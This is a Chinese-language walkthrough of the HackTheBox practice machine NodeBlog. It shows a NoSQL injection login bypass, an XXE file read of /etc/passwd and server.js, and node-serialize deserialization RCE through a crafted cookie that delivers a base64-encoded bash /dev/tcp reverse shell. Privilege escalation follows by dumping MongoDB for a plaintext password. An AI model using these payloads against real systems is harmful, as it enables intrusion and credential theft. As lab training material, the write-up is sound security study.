HackTheBox-NodeBlog

admin 2022年8月18日08:02:49评论117 views字数 14149阅读47分9秒阅读模式

title: HackTheBox-NodeBlog-Nodejs反序列化 author: Mosaic Theory layout: true categories: 漏洞实验 tags:

  • • 打靶日记


HackTheBox-NodeBlog

Jack of all trades and master of none.

門門精通,樣樣稀鬆。

Recon:

Masscan:

>> sudo masscan -p1-65535,U:1-65535 10.10.11.139 --rate 2000 -e tun0
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-05-14 13:26:59 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 5000/tcp on 10.10.11.139                                  
Discovered open port 22/tcp on 10.10.11.139 

Nmap:

>> sudo nmap -sC -sV -Pn 10.10.11.139 -p22,5000
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-14 21:38 CST
Nmap scan report for 10.10.11.139
Host is up (0.62s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open  http    Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.29 seconds

NOSQL身份认证绕过:

>> whatweb http://nodeblog.htb:5000/
http://nodeblog.htb:5000/ [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, IP[10.10.11.139], Script[JavaScript], Title[Blog], X-Powered-By[Express], X-UA-Compatible[IE=edge]

HackTheBox-NodeBlog

没什么有用的信息,就一个登录框,可以随便输入一下参数抓包:

POST /login HTTP/1.1
Host: nodeblog.htb:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://nodeblog.htb:5000
Connection: close
Referer: http://nodeblog.htb:5000/login
Upgrade-Insecure-Requests: 1

user=admin&password=admin
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#authentication-bypass

可以构造一下参数,但是不行:

user=admin&password[$ne]=password

HackTheBox-NodeBlog

nodejs嘛,可能会是以json提交:

POST /login HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 46
Origin: http://10.10.11.139:5000
Connection: close
Referer: http://10.10.11.139:5000/login
Upgrade-Insecure-Requests: 1

{"user""admin""password""password"}

返回包中会有这么一段信息:

</div>
<div class="form-group">
    <label for="password">Password</label>
    <input required type="text" name="password" id="password" class="form-control">    
</div>
<button type="submit" class="btn btn-primary">Login</button>
        </form>
        
            Invalid Password
        
    </div>
</body>
</html>

确实,是可以校验,构造个payload:

POST /login HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 46
Origin: http://10.10.11.139:5000
Connection: close
Referer: http://10.10.11.139:5000/login
Upgrade-Insecure-Requests: 1

{"user""admin""password": {"$ne""password"}}

页面会发生一些变化:

HackTheBox-NodeBlog

XXE:

一个新建,一个上传,一个编辑,先随便上传一个文件,啥类型也能上传,但是服务端不收,还报错:

HackTheBox-NodeBlog

要上传XML类型的文件,可以随便写一个试试:

<post>
        <title>test</title>
        <description>test see hello</description>
        <markdown>
                This is a test post.
        </markdown>
</post>

到了文章编辑的地方:

HackTheBox-NodeBlog

看起来是基于xml解析的,或许我可以尝试XXE读取一些文件:

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>

<post>
        <title>test Post</title>
        <description>Read File</description>
        <markdown>&file;</markdown>
</post>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
admin:x:1000:1000:admin:/home/admin:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mongodb:x:109:117::/var/lib/mongodb:/usr/sbin/nologin

确实读到了,可以尝试去读取一下SSH密钥,能登录的用户好像也没几个,但是我失败了,只要我尝试读取密钥就会报错。看起来确实是要我利用XXE做些什么事,但是又不想我这么简单,或是我可以试着让服务器报错,看能否得到些什么,我可以把json格式破坏掉,让服务器读取不了我提交的字段参数:

POST /login HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 18
Origin: http://10.10.11.139:5000
Connection: close
Referer: http://10.10.11.139:5000/login
Upgrade-Insecure-Requests: 1

{"user""admin",}

会返回给我这样的错误信息:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected end of JSON input<br> &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at parse (/opt/blog/node_modules/body-parser/lib/types/json.js:89:19)<br> &nbsp; &nbsp;at /opt/blog/node_modules/body-parser/lib/read.js:121:18<br> &nbsp; &nbsp;at invokeCallback (/opt/blog/node_modules/raw-body/index.js:224:16)<br> &nbsp; &nbsp;at done (/opt/blog/node_modules/raw-body/index.js:213:7)<br> &nbsp; &nbsp;at IncomingMessage.onEnd (/opt/blog/node_modules/raw-body/index.js:273:7)<br> &nbsp; &nbsp;at IncomingMessage.emit (events.js:412:35)<br> &nbsp; &nbsp;at endReadableNT (internal/streams/readable.js:1334:12)<br> &nbsp; &nbsp;at processTicksAndRejections (internal/process/task_queues.js:82:21)</pre>
</body>
</html>

看起来我提交的参数让后端代码出问题了,而它也显示出了绝对路径,我可以通过XXE把他们都读出来,但是我都读不出来:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 144
ETag: W/"90-v0DoTdXwQk7iInwC6sdbQSWTk3E"
Date: Sat, 14 May 2022 19:40:48 GMT
Connection: close

Invalid XML Example: <post><title>Example Post</title><description>Example Description</description><markdown>Example Markdown</markdown></post>

Nodejs反序列化:

或许我可以读一下nodejs的配置文件:

/opt/blog/server.js
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()

mongoose.connect('mongodb://localhost/blog')

app.set('view engine''ejs')
app.use(express.urlencoded({ extendedfalse }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));

function authenticated(c) {
    if (typeof c == 'undefined')
        return false

    c = serialize.unserialize(c)

    if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
        return true
    } else {
        return false
    }
}


app.get('/'async (req, res) => {
    const articles = await Article.find().sort({
        createdAt'desc'
    })
    res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticatedauthenticated(req.cookies.auth) })
})

app.use('/articles', articleRouter)
app.use('/login', loginRouter)


app.listen(5000)

反序列化unserialize,那它反序列化的对象,应该是cookie:

%7B%22user%22%3A%22admin%22%2C%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7D

进行url解码:

{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8"}

nodejs反序列化,我之前写过一篇靶机,可以先验证下是否能利用:

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.16.4', function(error, stdout, stderr){console.log(stdout)});}()"}
>> sudo tcpdump -i tun0 icmp and src 10.10.11.139

还要进行url编码:

GET / HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: auth=%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%36%2e%34%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%7b%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%7d%29%3b%7d%28%29%22%7d
Upgrade-Insecure-Requests: 1
Set-GPC: 1

能监听到icmp流量包,漏洞确实存在:

>> sudo tcpdump -i tun0 icmp and src 10.10.11.139
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:11:30.033721 IP nodeblog.htb > 10.10.16.4: ICMP echo request, id 1, seq 1, length 64

获取user shell:

反弹shell的时候出现了些意外,估计是传输过程中数据被破坏了,可以进行一下编码:

>> echo 'bash -i >& /dev/tcp/10.10.16.4/9001 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQo=
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzkwMDEgMD4mMQo=|base64 -d |bash', function(error, stdout, stderr){console.log(stdout)});}()"}
GET / HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: auth=%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%65%63%68%6f%20%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%69%34%30%4c%7a%6b%77%4d%44%45%67%4d%44%34%6d%4d%51%6f%3d%7c%62%61%73%65%36%34%20%2d%64%20%7c%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%7b%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%7d%29%3b%7d%28%29%22%7d
Upgrade-Insecure-Requests: 1
Set-GPC: 1

收到shell回连,但是还报一个权限错误,我可以读取到user.txt:

>> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.139] 38554
bash: cannot set terminal process group (900): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

bash: /home/admin/.bashrc: Permission denied
admin@nodeblog:/opt/blog$ cd /home
admin@nodeblog:/home$ ls
admin
admin@nodeblog:/home$ cd admin/
bash: cd: admin/: Permission denied
admin@nodeblog:/home$ chmod +x admin
admin@nodeblog:/home$ cd admin/
admin@nodeblog:~$ ls
user.txt
admin@nodeblog:~$ cat user.txt 
5f8..........................

获取root shell:

尝试提权,要密码的:

admin@nodeblog:~$ sudo -l
[sudo] password for admin: 
Sorry, try again.

搜了一圈没什么关于密码文件的,系统内核也没漏洞,在遍历进程的时候发现第三方组件:

>> ps auxww
mongodb      721  0.3  1.8 981828 76232 ?        Ssl  17:35   0:36 /usr/bin/mongod --unixSocketPrefix=/run/mongodb --config /etc/mongodb.conf

直接dump:

admin@nodeblog:/opt/blog$ mongodump
2022-05-14T20:49:15.381+0000 writing admin.system.version to 
2022-05-14T20:49:15.381+0000 done dumping admin.system.version (1 document)
2022-05-14T20:49:15.381+0000 writing blog.articles to 
2022-05-14T20:49:15.382+0000 writing blog.users to 
2022-05-14T20:49:15.382+0000 done dumping blog.articles (3 documents)
2022-05-14T20:49:15.382+0000 done dumping blog.users (1 document)
admin@nodeblog:/opt/blog$ ls
dump node_modules    package.json  server.js
models package-lock.json  routes  views

在users.bson有密码字段:

admin@nodeblog:/opt/blog/dump/blog$ ls
articles.bson  articles.metadata.json  users.bson  users.metadata.json
admin@nodeblog:/opt/blog/dump/blog$ cat users.bson 
n_ida�8
#s�     createdAt粳}usernameadminpassword�IppsecSaysPleaseSubscribe__vadmin@nodeblog:/opt/blog/dump/blog$

可以尝试sudo:

admin@nodeblog:/opt/blog/dump/blog$ sudo -l
[sudo] password for admin: 
Matching Defaults entries for admin on nodeblog:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User admin may run the following commands on nodeblog:
    (ALL) ALL
    (ALL : ALL) ALL
admin@nodeblog:/opt/blog/dump/blog$ sudo cat /root/root.txt
004.................................................


原文始发于微信公众号(老鑫安全):HackTheBox-NodeBlog

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月18日08:02:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox-NodeBloghttps://cn-sec.com/archives/1241026.html

发表评论

匿名网友 填写信息